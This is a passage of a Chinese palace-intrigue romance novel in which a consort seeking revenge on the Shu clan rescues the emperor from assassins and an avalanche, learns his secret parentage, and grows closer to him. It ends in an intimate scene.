云镜纱手心收紧,镇定道:“景哥,我们能想到的,舒家岂能想不到?万一舒贵妃与我使了同一个法子,到时怎么办?” 云景舟温和一笑,“那就杀了她。” “可她对我并无恶意。” “那又如何?” 云景舟反问,清澈眸底蕴着令人胆寒的冷酷。 “只要她姓舒,便是我们的敌人。” 云镜纱摇头,试图说服他,“景哥,进宫这么久,我能察觉到陛下对舒家并非全心信任,甚至藏着敌意,我想,他的目的应该和我们是一样的,薛伯昌的马帅之位不就是他亲自下旨废除的吗?那可是舒家的人。” 云景舟不为所动,“纱纱,你太天真了。就算他想削弱舒家,可他骨子里还流着舒家的血,有太后在,他真的能如我们所想不给舒家留活路?” 云镜纱抿唇,“如果他能呢?” 她抬眼,眉眼冷漠,“毕竟,他的母亲希望他去死。” 拉着尹寻春转身,云镜纱留下一句话,“景哥,我相信我能让他对舒家失望,有他在,我们的计划会顺利许多,我一定要救他。” “纱纱!” 云景舟叫住她,垂在身侧的双手握成拳,语调艰涩,“你真的是这么想的,还是……” “……你心里有他了?” 云镜纱一顿,蓦地拉着尹寻春往外跑。 仿佛她跑得越快,云景舟最后的问题便追不上她。 雪大了。 云景舟久久凝视她的背影,雪花落在双睫上,化为雪水滴入眼中,衬得眸底水色潋滟。 …… 云镜纱要了两匹骏马,与尹寻春一路问询孟桓启的行踪。 寻常人岂敢窥探帝踪,纷纷摇头不知。 无头苍蝇般乱窜了许久,云镜纱遇上了带着侍卫的孟月珍。 “娘娘怎么在这儿?” 温柔女声从后方传来,云镜纱转头一喜,“长公主可瞧见陛下了?” 孟月珍拧眉思索,“之前与皇兄见过一面,他好似往北方去了。” 她好奇,“娘娘有急事要寻皇兄?” 云镜纱:“靖国公被熊瞎子伤了腿,陛下久久不归,我出来寻一寻。” “靖国公伤了腿?” 孟月珍眼里露出兴味。 云镜纱颔首,“多谢长公主告知,我先走一步,告辞。” 她轻叱一声,驾马往北。 孟月珍挑眉。 出身乡野的云昭仪,一手驭马的功夫倒是漂亮。 她无意探寻太多,饶有兴致道:“走,回去瞧瞧国公爷。” 云镜纱和尹寻春一路向北寻去。 越往北,四周越荒凉,残枝积雪成堆。 鹅毛大雪飘然而至,模糊了云镜纱的视线。 被冻红的手摸了把眼睛,她嘴角绷直,视线睃巡 ,不断探寻着孟桓启的行踪。 离雪山越来越近,尹寻春拉停马,大声道:“娘娘,这里没有人走过的踪迹,也不见暗卫,咱们会不会走错方向了?” 云镜纱拉住马缰,身下白色骏马前蹄扬起,稳稳落地。 “长公主不会骗我,她遇见陛下时,一定是看见他往北去了。” 可后来孟桓启去了何方,便不是她能预测得了的。 云镜纱沉下心,“寻春,你仔细听听,附近可有动静?” 尹寻春凝神,侧耳倾听。 茫茫大雪中,天地寂静无声,唯有她与云镜纱的呼吸声。 她闭上眼。 云镜纱安静等待。 片刻后,尹寻春蓦地睁眼,指着某个方向,“那边好像有声音。” 她所指的正是雪山方向。 云镜纱:“走,过去看看。” 离得越近,那声音越大,连云镜纱也清晰可闻。 她按捺住心喜,驾马向前。 皑皑雪地里出现许多道人影。 一方身着白衣,手持利刃,招式狠辣,刀刀致命。 一方是武稷为首的禁卫,还有一方从穿着上看,与那名为钟扬的暗卫极为相似。 云镜纱眉眼欣喜,“寻春,去帮忙。” 尹寻春应了一声,驾马冲过去,手上不知何时握了把匕首,在雪地里映照出冷冽寒光。 云镜纱自知自己武力不济,并未去添乱。 她目光紧紧追随着孟桓启,带着连自己也未发觉的担忧。 男人立在雪中,发丝凌乱,但看着并未受伤。 他并没有站在禁卫与暗卫的保护圈里,而是手持长刀,眉眼冷漠收割了向他冲来的刺客的性命。 鲜血从刀身上滴落,他侧脸印着一道红痕,血与雪在脸上交融,一同下滑。 刺客数量极多,孟桓启一人对付三人,竟也不落下风。 云镜纱眼尖地瞧见他身后有道寒光,一时惊住,大喊道:“孟桓启!” 听到熟悉的声音,孟桓启险些以为自己听错了,急急投来一眼。 刀尖离他后心越来越近,他持刀抵挡着面前的刺客,根本来不及闪躲。 云镜纱咬牙,一把拿起马身上配备的弓箭,拉弓搭箭瞄准一气呵成。 两指一松,“铮——”一声,箭矢疾速从空中飞掠,射断孟桓启散开的碎发,一箭没入刺客肩头。 听见身后的闷哼声,孟桓启已然知晓发生了何事。 他收刀,在刺客朝他攻来时后退,身后刺客忍痛进攻,被孟桓启一刀抹了脖子,拔出他肩上箭矢,往后一掷。 箭矢从刺客脖颈穿过,刹那间鲜血流了本身。 孟桓启不为所动,眉眼被雪花映衬得越发冷冽。 这场战斗足足维持了快半个时辰。 眼见最后一名刺客倒下,云镜纱终于松了口气,翻身下马。 落地的瞬间,她双腿一软,险些倒下。 孟桓启将刀扔给身后暗卫,大步朝她跑来。 将将撑着马身站稳的云镜纱蓦地落入一个怀抱。 不似往常温暖,反而泛着冰雪的冷冽气息。、 云镜纱稳了稳神,“陛下怎么到这儿来了?” 此处已经出了猎场,更是方便刺客下手。 孟桓启嗓音微哑,“你说想要白狐。” 没想到居然得到这样一个答案,云镜纱怔住。 今晨她催孟桓启离开时,的确找了这个理由。 可他居然当真去为她猎白狐了。 “那你呢,你为什么来?” 云镜纱回神,抿了抿唇,“我、我……” 她“我”了半天,却是一个字都说不出。 两只冰冷的手捧住她的脸,使她抬起眼睫。 眼前是孟桓启放大的脸。 他再次问她,“你为何而来?” 云镜纱嘴唇嚅动,一声未出。 看出她眼中慌乱,孟桓启冷冽的嗓音里含了丝丝笑意,黑眸锁着她,语气平静又带着笃定,“你爱上我了,魏妤。” “轰隆——” 雪山坍塌,滚滚而下,波涛般的雪浪在空中翻涌,带着势如破竹的气势涌向大地。 天地与她的心脏共振。 第73章 “雪崩了,陛下当心!” 武稷的声音隐没在雪山崩塌时发出的巨响中。 孟桓启当机立断,“快撤!” 他揽着云镜纱的腰翻身上马。 白马察觉到危险,四只蹄子不安走动。 孟桓启来不及安抚,马鞭狠狠抽打在骏马身上,它发出一声痛鸣,扬着蹄子急遽向前奔跑。 风雪太大,几乎迷了云镜纱的眼。 她靠在孟桓启怀里,奋力往后看。 尹寻春运起轻功飞身跨到马上,与武稷等人骑马狂奔。 身后,天地阴沉,厚重雪浪几乎遮盖了整片天空,朝着众人滚滚而来。 雪花吹到她脸上,带起一阵刺骨寒意。 原来刺客并非杀手锏,这才是。 云镜纱僵硬的指节动了动。 她想不通,究竟是什么原因,让太后义无反顾地要置自己的亲生儿子于死地? 眼下没工夫让云镜纱去琢磨,她盯着身后雪浪,声音散在风中,“再快一点。” “轰——” 雪浪滚落,铺天盖地的雪当头落下,其中裹挟的树干飞来,狠狠砸在白马头上。 它受了惊,朝天嘶鸣,惊慌地乱窜。 孟桓启揽着云镜纱躲开树干,飞身下马。 二人落在雪地中,孟桓启抱着云镜纱就地一滚,冰冷白雪追随着两人滚落。 碎木石子从身上碾过,云镜纱疼得咬住唇,紧紧抓着孟桓启身前的衣料。 身上的人忽然抱着她一转,二人滚入一个山洞,云镜纱抬头时,正好瞧见雪浪瀑布似的从洞口滚下。 身后有人拥住她,低声安抚,“暂时安全了。” 云镜纱回神,“也不知道其他人怎么样。” 孟桓启:“他们身手都不错,能自保。” 云镜纱低低“嗯”了一声。 有雪从洞口滚进来,湮灭了山洞最后一丝光亮。 孟桓启从怀中取出火折子,摸黑一吹,眼前蓦地出现一抹火光。 云镜纱循着光亮偏头,正正瞧见一双漆黑如墨的凤眼。 眼睛的主人定定凝视她,目光幽深,似乎带着让她喘不过气的神情。 云镜纱偏头避开那抹视线,“我、我去找找山洞里有没有干草。” 起身的瞬间,一只大手攫住她的手腕,低沉的嗓音回荡在山洞中。 “小雨。” 云镜纱浑身一僵。 多年不曾听到这个称呼,这一瞬间,她竟然有股想流泪的冲动。 她努力逼回眼中泪意。 孟桓启嫌不够似的,将方才的话重复一遍,“你爱上我了,魏妤。” 耳畔仿佛有钟声震响,云镜纱的身子止不住颤抖。 魏妤,魏妤。 做云镜纱做久了,她险些忘了,自己曾经是魏妤。 家住在京城安桐巷第八户,父亲温和,母亲慈爱,家有一姐一妹,平凡安稳,不缺吃穿。 可惜,姐姐十六岁那年被靖国公府高高在上的世子舒晋看上,强抢入府,最终害得她家破人亡。 从此,世间再无魏妤,唯有云镜纱。 一双手将火折子放在她手中,从后揽住她的腰,企图用他冰冷的身体将她温暖。 “啪嗒。” 眼泪砸在孟桓启拥着云镜纱的手背上,令他心头一颤。 他听见她茫然惶恐的声音,“我怎么会爱上你呢?” “我怎么能……爱你呢?” 他是孟桓启,是大周帝王,他的身上流着一半舒家的血,正因有他在,舒家才能如此肆无忌惮地杀了她的爹娘姐妹。 她怎么能爱上身负舒家血脉的孟桓启? 她如何对得起九泉之下的亲人? 泪水模糊了云镜纱的视线,火光化为一点朦胧,在她眼中跳跃。 听出她话中彷徨,孟桓启手臂收紧,下巴放在她肩上,“为何不能爱我?” 云镜纱啪嗒啪嗒掉着眼泪,抿唇不语。 寂静山洞中依稀可闻她强忍的抽泣声。 孟桓启:“小雨,你可知太后为何要杀我?” 突如其来的话题令云镜纱怔住,泪眼迷蒙抬眼。 孟桓启握住她的手,将火折子合围在掌中。 他看着那点火光,语气平淡得仿佛与她讨论今日晚膳用什么。 “我并非太后之子。” 什么? 手中一抖,火折子险些脱手而出,却被孟桓启紧紧握住而不得动弹。 火光摇曳,指腹擦过焰 火,带来轻微热度。 云镜纱不可置信,哭音不减,“你说什么?” 好不容易撬开她一条缝,孟桓启自然不会放过。 他知道,她最在意的便是他身负舒家血脉的身份。 他会打破她最后的顾忌,让她心甘情愿承认自己的心意。 “我的生母,乃是容淑妃。” 孟桓启低声诉说着这段往事。 “先皇做皇子时并不受宠,只因夺嫡之争击搏挽裂,皇子死的死伤的伤,他这才登上皇位。” “舒家支持的三皇子惨死,新皇登基,他们为了皇后之位付出了极多,自不可能拱手让人。” “可是当时,先皇已有皇子妃。” “我生母出身容家,世代耕读,以藏书著名,她与先皇青梅竹马,感情甚笃。但因容家在朝中并无重臣,先皇登基时,以舒家为首的朝臣逼着他贬妻为妾,从此,六皇子妃成了容淑妃。” “先皇做惯了闲散皇子,一朝做了皇帝,自是措手不及。他失了先机,导致朝政被舒家掌控,不得不低头。” “后来,舒皇后与容淑妃同时有孕,她故意与容淑妃同日产子,调换了二人的孩子。” 云镜纱从往事中抽出神来,讷讷道:“为什么?” 孟桓启低声,“或许是不甘嫉恨,或许是想看着自己的儿子被父皇疼爱,又或是得意于将二人玩弄于鼓掌之中。” 云镜纱追问:“后来呢?” 孟桓启顿了顿,“后来,果真如舒皇后所料,父皇待她所出的大哥极好,亲自为他开蒙,请大儒教导,几岁时便将他带在身边,旁听朝政。” “他并不似舒家人,反而像是容家血脉,礼贤下士,温和有礼,无论是宫闱还是朝堂,皆对他推崇备至。” 云镜纱听得心中酸涩,“那你呢?” 大皇子的一切,分明该是他的。 “我?” 孟桓启的声音带了几分虚幻,并未答复,继续道:“八岁那年,我偶然与皇兄相遇,他为救我不慎摔下假山,昏迷不醒。” “舒皇后压着我,在容淑妃的钟粹宫前跪了一天一夜,皇兄醒来后,她以要我为皇兄赎罪为由,将我送到宫外万佛寺。” 也是在万佛寺,孟桓启认识了当年无忧无虑的魏妤。 “在万佛寺的第五年,容淑妃无意间得知我才是她的亲生儿子。当时她的身体日渐衰弱,缠绵病榻已久,气急攻心之下吐血而亡。” “父皇暗中查到容淑妃的死与皇后有关,愤怒之下设计让舒皇后以为当初换孩子并没成功,我就是她的亲生儿子。” 孟桓启垂下眼睫,轻声道:“暴怒的舒皇后设计杀了皇兄,而我作为她和父皇的嫡子,被接回皇宫,封为太子。” “回宫之后,父皇教我帝王之术,悉心培养。舒家乐见其成,并未阻拦。可惜容淑妃之死对父皇打击太大,他撑了几年随她去了。临死之前,父皇要我发誓,此生必将舒家连根拔起。” 孟桓启抱着她,下巴依恋般在云镜纱肩头蹭了蹭。 云镜纱轻声问:“没了吗?” 他一顿,“没了。” “你在骗我。” 云镜纱道:“你与我说过,并不得先皇喜爱,甚至因此不想我有孕。” 孟桓启沉默着将她抱紧。 身世未揭发前,父皇最疼爱的是皇兄。 可皇兄的死是他纵容的结果,他愧对他,更加放不下那个亲自教养,乖巧听话的孩子。 回宫之后,父皇待他很好,但更多的是严厉,普通父子间的温情,他都留给了皇兄。 直到现在,孟桓启依旧无法释怀。 不过斯人已逝,他有心爱之人在侧,他想,他该试着放下了。 孟桓启低声道:“我骗你的。舒家未除,我只是不想让你怀着孩子胆战心惊。” 云镜纱嗓音很轻,“原来是骗我的。” 孟桓启心中一紧,“小雨,对不起。” 云镜纱靠在他怀里,“没关系,原谅你了。” 她问:“你是什么时候认出我的?” 孟桓启:“在常远侯府遇见你的那日。” 云镜纱惊讶,“这么早?” “嗯。” 她沉默,“该说对不起的是我,当年是我失约。” 他们本来说好了,下次去万佛寺会给他带礼物,可惜后来家中巨变,她一心复仇,彻底将翠钟山万佛寺里的小和尚忘了个一干二净。 孟桓启:“无碍的,小雨,我都知道。” 知道她并非有意失约,知道她家破人亡,身负血海深仇。 云镜纱鼻尖微酸,她忍住泪意,“容夫子是你什么人?” “容淑妃生父,我的外祖父。” 孟桓启答:“我生母死后,父皇便让容家远离京城,但外祖父挂念我,宁愿守在京城外的村庄里,一年见我一面。” 云镜纱温声道:“等一切结束,我们把外祖父接回京城颐养天年。” 孟桓启唇角微勾,“好。” 聊完往事,激荡的情绪已然平复,云镜纱理智回归,“这次太后要杀你,是不是她发现了你不是她的亲生儿子?” 孟桓启凝眸,“或许。” “那怎么办?” 云镜纱有些焦急,“此次杀你不成,她必定不会善罢甘休。” 孟桓启紧紧握住她的手,“别担心,我们和舒家、太后早晚会对上,提不提前没什么区别。” 听出他话音里的笃定,云镜纱略微放心。 “对了小雨。” 说到舒家,难免绕不过一个人。 孟桓启语气凝重,“有件事我需要提前告诉你。” 云镜纱不解,“什么?” “回宫之后,听到一件事时,你别慌。” 郑重的语调让云镜纱越发好奇,“什么事?” “舒贵妃有孕。” 第74章 “什、什么?” 云镜纱有些懵。 舒贵妃有孕? 没等她反应,孟桓启急忙道:“是假的。” “假的?” “嗯。” 孟桓启道:“是我与贵妃做的一场戏。” 云镜纱品出了些异常,狐疑道:“贵妃娘娘是你的人?” “不是。” 孟桓启纠正她,“我与她只是合作关系。” 抱紧云镜纱,他微微叹气,“贵妃是个可怜人。舒含昭一心要嫁许玉淮,舒誉便将主意打到了舒裳晚身上。为了逼她入宫,舒家父子害了她的心上人,冯夫人又将她姨娘磋磨致死,贵妃对舒家恨之入骨。” “她很聪明,入宫后察觉到我对舒家不满,主动提出与我合作。” 云镜纱喃喃,“原来如此。” 难怪她入宫后,总觉得贵妃与传闻中的不太一样。 忆起那日在宫道上看见的一切,云镜纱拧了拧眉。 舒家害了舒裳晚的心上人? 那她看见的那人又是谁? 云镜纱有心想问,转念一想,舒裳晚如何与她并无干系,只要她继续配合孟桓启就好。 正在出神,有只手在摩挲她的腰部,隔着层层衣料,罕见发痒。 云镜纱躲了一下,忽听孟桓启低低笑出了声。 他鲜少这般喜形于色,笑声里含着愉悦,温热的呼吸打在云镜纱耳畔,令她心口酥麻。 “小雨,你爱上我了。” 心跳似擂鼓,一下重过一下。 云镜纱脸上火烧似的发烫,她掰开孟桓启的手,慌忙起身,“外边的动静好像停了,我去看看。” 火折子随着起身灭了一瞬,昏暗光线中,她慌乱的背影被孟桓启收入眼中。 凤眼中沉寂许久的浪潮退去,露出深沉背后的柔软笑意。 这姑娘的伪装让他看不出真假,直到这次,他才明确捕捉到她的心意。 让他笃定了她心里有他。 无数种情绪在脑中翻滚,最终化为一个念头。 他不愿她再虚与委蛇,他要告诉她一切,告诉她二人共同的目的。 让她知道,他等了她多年,他们 一直在同行。 孟桓启起身走近云镜纱,牵住她的手,与她十指紧扣。 温热的掌心紧紧相贴,云镜纱微怔,偏头去看他。 火光摇曳,孟桓启的侧脸隐没在黑暗中,唯有一双凤眸,宛如挂在天幕的璀璨星河。 她又听见了自己的心跳声。 云镜纱转回视线,在心中对自己说。 是。 …… 一个时辰后,洞口被人挖开。 云镜纱听见一声焦急哭音,“姑娘!” 一道身影飞快窜进山洞。 云镜纱皱眉睁眼。 双颊带泪,眼眶通红的尹寻春站在她面前,山洞外,数道火光摇曳,在山壁上拉出几道长长黑影。 她倏然一惊,匆忙从孟桓启怀里站起,“寻、寻春?” “姑娘,是我。” 尹寻春的目光在她和孟桓启之间打转。 进来时她便看见姑娘和陛下姿态亲密地靠在一起。 大眼睛眨了眨,尹寻春眼里十足迷茫。 云镜纱看清了,面上发烫,微微侧过身。 孟桓启站在她身前,挡住众人的目光。 “陛下。” 身着白衣,身形高大,面覆银色面具的男子嗓音泛冷,“雪山崩塌,朝臣已知陛下遇险一事,加之靖国公受伤,行宫此时不太安稳。” “知道了。” 孟桓启颔首,“卫焱,你负责查清刺客的来历。武稷,送朕回宫。” “是。” 洞口的卫焱与武稷退开,孟桓启牵着云镜纱走出山洞,返回行宫。 因接二连三出事,翌日,孟桓启结束冬狩,打道回宫。 回去的路上,尹寻春悄悄对云镜纱道:“姑娘,我会武的事暴露了。” 云镜纱:“我知道。” 尹寻春惴惴不安,“那怎么办?” “别担心。” 云镜纱摸她头顶,笑道:“不会有事的。陛下若是问起,我去说。” “哦。” 尹寻春应声。 总觉得昨日过后,姑娘和陛下之间就怪怪的。 她说不清楚,但好像更亲密了? 尹寻春挠了挠头。 回到玉华宫时天已擦黑,孟桓启有要事,并未随她回宫。云镜纱累了一日,吃完早膳早早睡下。 第二日醒来,窗外银装素裹,大雪纷纷。 瞧着芳音沉闷的神色,云镜纱好笑,“一大早的这是怎么了?” 芳音咬唇,神色忿忿,“娘娘,凤仪宫,贵妃娘娘……” 云镜纱早有准备,咬了口水晶虾饺,“贵妃娘娘怎么了?” 芳音耷拉着眼皮,“贵妃娘娘有孕了。” 云镜纱不动如山,将剩下的虾饺一口塞进嘴里,“贵妃娘娘有孕不是喜事?瞧你这一脸哭丧,若是被人瞧见,该非议我了。” 芳音搓了搓脸,语气酸涩,“奴婢只是替娘娘可惜,陛下一个月也去不了凤仪宫几次,她怎么运气这么好就怀上了呢?” 云镜纱自然知道舒裳晚是怎么“怀上”的,放下玉箸用帕子擦嘴,笑道:“这事是要看缘分的。” 她徐徐起身,吩咐丰熙,“去库房里挑几件礼,咱们去凤仪宫看望贵妃娘娘。” 丰熙:“是。” 芳音噘嘴,想说什么,又咽回去了。 到了凤仪宫,舒裳晚身边的大宫女飞荷神采飞扬地迎出来,“奴婢见过昭仪娘娘。” 态度虽然恭敬,语气也不乏尊重,只是那姿态怎么看都有些轻慢,令丰熙当场皱了眉,芳音也撇了撇嘴。 云镜纱只当没看出来,笑意温和,“我来探望贵妃娘娘。” 飞荷请她进去,“娘娘这边请。” 一进门,热气扑面而来,厚重屏风将寒风隔绝在外。 舒裳晚靠坐在榻上,不施粉黛,不着金装,一头柔顺长发只用玉簪绾起,腰间搭着一条羊毛毯,纤长白皙的手指剥着黄澄澄的橘子,慢条斯理将果肉一瓣瓣送入口中。 闻着空气中的酸涩气味,云镜纱眉头微拧,屈膝见礼,“臣妾拜见贵妃娘娘。” 舒裳晚余光瞥她,拉长尾音“哦”了一声,“原来是云昭仪。” 云镜纱笑道:“臣妾恭祝贵妃娘娘喜得龙嗣。” 姑娘的嗓音温柔舒缓,一听便让人觉得心头发软,舒裳晚却是一凛。 她不清楚云镜纱和孟桓启之间的具体情况,也不知孟桓启可有将她怀孕的实情告知,只得维持跋扈贵妃该有的姿态,不轻不重睨她一眼,慢悠悠道:“本宫比你先有孕,你该不会在心里咒骂本宫吧?” “岂会?” 云镜纱笑意盈盈,“娘娘腹中乃是陛下的头一个孩子,臣妾高兴还来不及呢,怎会以下犯上?” 听到“陛下的头一个孩子”几个字,舒裳晚心里一虚,目光从小腹急掠而过,掰了瓣橘子送入口中。 酸涩感在口腔里蔓延,她眯着眼含糊道:“你知道就好。” 一半橘子还未吃完,丹莹端着药碗近前,“娘娘,该喝药了。” 舒裳晚下意识皱眉。 云镜纱目光从褐色药汁上瞥过。 贵妃有孕既然是假的,那这药又是做什么用的,迷惑外人? 察觉到她的目光,舒裳晚语气不善,“看什么看?” “太医说本宫这胎怀得有些艰难,特意为本宫开了保胎药,云昭仪若是想喝,自己怀一个去。” 芳音听了这话险些炸了,被丰熙按住手。 云镜纱笑了笑。 哪怕知道舒裳晚与孟桓启是合作关系,此时说的话大抵也是故意的,但她这张嘴倒是像极了舒家人,一样让人不喜。 她温顺道:“臣妾只是好奇,娘娘见谅。” 舒裳晚新奇地看她一眼。 这话连她听了都恨不得扇自己一巴掌,她竟然还能面不改色地与她致歉。 这姑娘真是越来越能忍了。 在心里对云镜纱说了声抱歉,舒裳晚哼一声,把手里吃了一半的橘子放在一旁的矮桌上,端起药碗,舀了一勺。 苦涩味在口腔中蔓延,舒裳晚皱着眉头强忍着喝下两勺,在喝第三勺时没忍住,撂了药碗,趴在榻边“哇”一声吐了出来。 “娘娘!”丹莹惊叫一声,“快拿痰盂来!” 宫人抱着痰盂脚步匆匆而来,舒裳晚弯着腰吐了个天昏地暗。 整间寝殿弥漫着呕吐物的难闻之气。 飞荷开了窗,冷风灌了进来,冰雪的冷冽吹散了屋中的气味。 舒裳晚吐完脸白了一个度,丹莹为她擦了嘴,喂给她一瓣橘子。 勉强吃下去,舒裳晚好受不少,“本宫身子不适,不便待客,云昭仪先回吧。” 云镜纱起身,“娘娘保重贵体,安心养胎,臣妾隔日再来看您。” 舒裳晚神色恹恹,靠在软枕上随意点头。 软枕是她一贯喜欢的红色,衬得她的脸庞惨败无色,眸光暗淡。 云镜纱颔首,带着丰熙和芳音离开凤仪宫。 雪又大了,内侍们抬着轿撵不敢走得太快,生怕摔了云镜纱。 她一手支颐,望着远处盖了雪的琉璃瓦出神。 “参见昭仪娘娘。” 寒风吹起华盖下的流苏,恭敬的问安声在风里回响。 目光向下,一队禁卫立在雪中,大雪模糊了他们的眉眼,只见一双双神采奕奕的眼睛。 云镜纱对领头之人笑着颔首,视线落在人群中某处,蓦地出声,“你叫什么名字?” 无数道视线唰地顺着云镜纱的目光看去。 莫名成为焦点的那人并未慌乱,结实有力的腰身一弯,恭声道:“属下卓均,见过昭仪娘娘。” “卓均。” 云镜纱唇间吐出两个字,嘴角一勾,“是个 好名字。” 她没再关注那人,对内侍道:“走吧。” 禁卫齐声,“恭送昭仪娘娘。” 轿撵已快靠近长极宫,卓均收回视线,锋锐眉头一拧,不解这位昭仪娘娘为何要问自己的名字。 他收敛心神,随着队伍继续巡逻。 第75章 远远瞧见云镜纱的轿撵,高德容眉梢一扬,在她靠近之前率先进了殿内禀报。 等云镜纱走近,高德容已从殿中走出,笑道:“娘娘,陛下请您在偏殿等候。” “有劳公公。” 将手炉递给身后的芳音,云镜纱顺着袖口狐毛,款步而入。 偏殿烧着地龙,一进去便被暖意包围。 桌上备着茶水糕点,云镜纱试了试温度,见还温着,给自己斟了盏茶。 拿了颗蜜饯放在嘴里,感受到口腔里的甜味,她双眼弯起。 她长大后本来不爱吃蜜饯,但不知可是孟桓启手艺太好,吃着吃着,竟又喜欢上了。 一连吃了五颗,云镜纱端起茶盏,饮了一口。 目光扫到壁上挂画,她起身缓步走近。 立在画前,此时的心境与前两次截然不同,云镜纱在记忆里搜寻这幅画是他们哪次见面。 还没理出头绪,耳畔已落下脚步声,她一喜,侧身唤他,“小启哥……” 尾音一扬,是惊讶的语气,“景哥?” 云景舟停步,听见她方才的称呼,眸色略带复杂。 迎上云镜纱疑惑的目光,他解释道:“方才陛下召我议事,听闻你来了,念及我们兄妹二人许久未见,特让我来与你叙旧。” 云镜纱扬起笑,“景哥快来。” 她回到桌边落座,抬手为云景舟斟茶,“我们许久不曾一起饮茶了。” 云景舟顿了顿,依言在她身旁落座。 云镜纱将杯盏推至他面前,双眼含笑,“景哥,你的担忧多余了。” 在云景舟抬眼看她时,云镜纱掩唇小声道:“陛下的目标和我们是一致的。” 她靠近时芬芳满鼻,云景舟下意识屏住呼吸,直到云镜纱退开时才松开。 听清她的话,云景舟端着茶盏的手久久不动。 云镜纱疑惑,“景哥?” 云景舟深深吸气,温润凤眸凝着,“纱纱,你把我们的事告诉陛下了?” “不是。” 云镜纱摇头,呷了口茶水,“是他认出我了。” 云景舟不解,“这是何意?” “我幼时曾与陛下相识,见到我的第一面,他便认出我了。” 云镜纱轻声道:“他一直都知道我进宫是为了什么。” 云景舟倏然一惊,指尖扣着杯盏,茶水不慎溢出,溅在他手背上。 他涩声开口,“他从一开始就知道?” 云镜纱点头,“是。” 偏头看着云景舟,她又道:“他知道我的身世,知道我背负血海深仇,知道你与我并非亲生兄妹。” 云镜纱声音很轻,却极为坚定,“景哥,咱们瞒不住他,不如与他联手。” 云景舟仍有顾虑,“舒家……” “景哥,有件事我不能告诉你,但我可以向你保证,他绝不会对舒家手下留情。” 云镜纱清亮的杏眼注视着他,“何况,陛下既然想做明君,就必须拔除舒家这座大山。” 她的眼睛很亮,仿佛世间所有腌臜污浊在她眼里皆无所遁形。 云景舟半垂着眼睑,缄默许久。 云镜纱知他在考量,并不催促,安静饮茶。 喝了半盏,忽听云景舟微沉的嗓音,“你可有告知陛下我的身份?” 云镜纱摇头。 “好,我知道了。” 她与陛下拥有共同的秘密,她对他如此信任,或许这次,他也该相信纱纱。 云镜纱知道他是同意了,弯唇朝云景舟举杯。 云景舟端着杯盏,与她的轻轻一碰。 “呲”声短促一响,清亮茶水在杯中荡漾一瞬,很快转为平静。 …… 吃了半碟子糕点,孟桓启终于得了空。 云镜纱净了手,上前牵住他,“景哥呢?” “走了。” 孟桓启落座,没等云镜纱去隔壁,揽着她坐在自己怀里,下巴在她柔嫩的脸上蹭了蹭,“你和他是怎么认识的?” 云镜纱被他亲昵的动作闹得脸红,听了这话,神色淡了,低低道:“舒晋的人把爹娘姐姐和小圆带走了,我找不到他们,便把自己装成乞丐,蹲守在靖国公府周围。我想趁着舒晋外出的时候报仇,在我行动的前一瞬,景哥出现带走了我。” “他说,他与舒家也有深仇大恨,他的人不时会去靖国公府盯着,无意间发现了我。” “他问我愿不愿意与他合作报仇,我点了头,他便带我离开了京城。” 听出云镜纱话里的冷淡,孟桓启有些后悔问起此事,转移话题,“你可是在怀疑唐鹤原是魏沅?” 云镜纱忽地转头盯住他,“你怎么知道?” “那日。你昏迷时,我听见你在叫她。” 云镜纱叹气,“我本来想召唐大人的母亲进宫试探,但她身子不好,怕她吓着,想想还是算了。” 孟桓启抱着她,低声道:“你放心,我已经派人去调查他,很快就能有回复。” 云镜纱没想到还能有这个惊喜,双臂揽着孟桓启的脖子,笑盈盈道:“小启哥哥,你真好。” 孟桓启看她,“只有一句谢?” 目光里的深意让云镜纱白皙双颊染上粉霞,她凑过去在孟桓启唇上亲了亲,“这样总……” 话音淹没在唇齿间,孟桓启一手掌住云镜纱纤腰,一手稳稳落在她后颈,半阖着眼睫,舌尖与她交缠,吻得温柔又缱绻。 云镜纱目光逐渐迷乱,身子软下去,彻底嵌在孟桓启怀里,双臂无力地勾住他脖子。 直到喘不过气,她终于被放开,伏在孟桓启胸膛,红肿的唇瓣微张,轻轻匀着气。 孟桓启低眸抹去云镜纱挂在眼角的泪珠,指腹无意间从被打湿的长睫划过,惹得她一颤,缓缓掀眸,露出一双含了雾的潮湿杏眼。 孟桓启呼吸一窒,就着这个动作抱起云镜纱,将她轻轻放在榻上。 姑娘的衣衫乱了,领口散开,露出小片白皙肌肤。 他长指勾着衣领,动作极为迅捷。 云镜纱抓住那只作乱的大手,语调微软,“冷。” 孟桓启反握住她,俯下。身去,嗓音低沉喑哑,似饮了酒般醇厚醉人,“冷就抱住我。” 云镜纱咬住唇,神色羞恼,“我这样怎么抱?” 孟桓启低低笑出了声,轻快愉悦,从背后将她揽住,“那我抱你。” 一下又一下温软落在脖颈,云镜纱面上潮红,双眼沁出泪。 她闭了眼,放松等待。 临门一脚,孟桓启忽然松开她。 云镜纱被吊得不上不下,偏头去看,却见他摸出一个瓷瓶,倒出一颗药丸放进嘴里。 她泪眼婆娑,“不是有羊肠?” 怎么还在吃避子药? 孟桓启扔了瓷瓶,大步朝她走来,“没准备,我等不了。” 扫了眼榻上水渍,他含笑,“你也等不了。” 云镜纱剜他一眼,羞愤别开头。 孟桓启上了榻,手掌一握,触了满手滑腻粘稠。 他紧紧贴在云镜纱后背,滚烫唇瓣时轻时重,汗水啪嗒落在榻上。 云镜纱双手揪着榻上堆叠在一处的缎面云纹被子,手背青筋若隐若现。她被逼得眼里冒出泪花,一滴泪落在手背,云镜纱陡然一松,险些撞到墙上。 一只手环住纤细腰肢,将她抱入怀里。 孟桓启用罗帕擦去她脸上和颈上汗水,指尖勾开她因汗湿贴在侧脸的发丝。 缓了一会儿,云镜纱小声道:“我想喝水。” 嗓音里还带着沙哑哭音。 “好。” 孟桓启松开她,起身下榻。 他的衣物好端端地穿在身上,宽肩窄腰,肌肉结实遒劲。 云镜纱看着他的背影,躺在榻上微微出神。 她从来没想过,这种事竟让人这般快乐。 身体上的舒适还在其次,最重要的是心灵相通给人带来的愉悦,像是下了许久雨的天陡然放晴,初阳照在身上,整个身子都软了。 孟桓启端着水回来,半揽着云镜纱,把杯口放在她唇边喂她。 云镜纱小口喝完,累得不想动,瘫在孟桓启怀里发呆。 孟桓启大手放在她后背,有一下没一下地轻抚,两人都没说话,享受着宁静。 过了许久,孟桓启开口,“舒誉的伤好似不太 好。” 云镜纱睁眼,安静听他说话。 “回京后他的伤势逐渐恶化,那条腿应当是保不住了。” 云镜纱窝在他怀里秀气地打了个哈欠,神色懒散,语气冷淡得如同树下冰棱,“他好不了了。” 孟桓启眸光微动,“云景舟做的?” 